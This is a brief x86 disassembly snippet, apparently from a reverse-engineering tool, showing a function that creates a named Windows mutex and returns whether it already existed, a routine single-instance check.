mov dword [esp + 8], ebx
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateMutexA
sub esp, 0xc
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
sete al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret